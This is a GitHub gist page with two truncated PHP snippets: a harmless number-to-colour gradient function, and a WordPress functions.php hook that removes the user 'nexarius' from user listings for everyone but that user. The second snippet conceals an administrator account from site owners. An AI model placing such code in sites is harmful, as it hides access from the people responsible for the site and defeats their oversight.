Skip to content

Instantly share code, notes, and snippets.

@Nex4rius
Nex4rius / numberToColor.php
Last active Apr 25, 2022 — forked from Ravaelles/numberToColor
PHP function that converts number from given range into a color from given gradient of multiple colors
View numberToColor.php
<?php
// See example: https://image.prntscr.com/image/cTIv8JkLR7yWEQxVev9SyA.jpeg
function numberToColor($value, $min, $max, $gradientColors = null)
{
// Ensure value is in range
if ($value < $min) {
$value = $min;
}
if ($value > $max) {
@Nex4rius
Nex4rius / wordpress superadmin.php
Last active Oct 6, 2017
das muss in die functions.php
View wordpress superadmin.php
add_action('pre_user_query','dt_pre_user_query');
function dt_pre_user_query($user_search) {
global $current_user;
$username = $current_user->user_login;
$superadmin = 'nexarius';
if ($username != $superadmin) {
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != '".$superadmin."'",$user_search->query_where);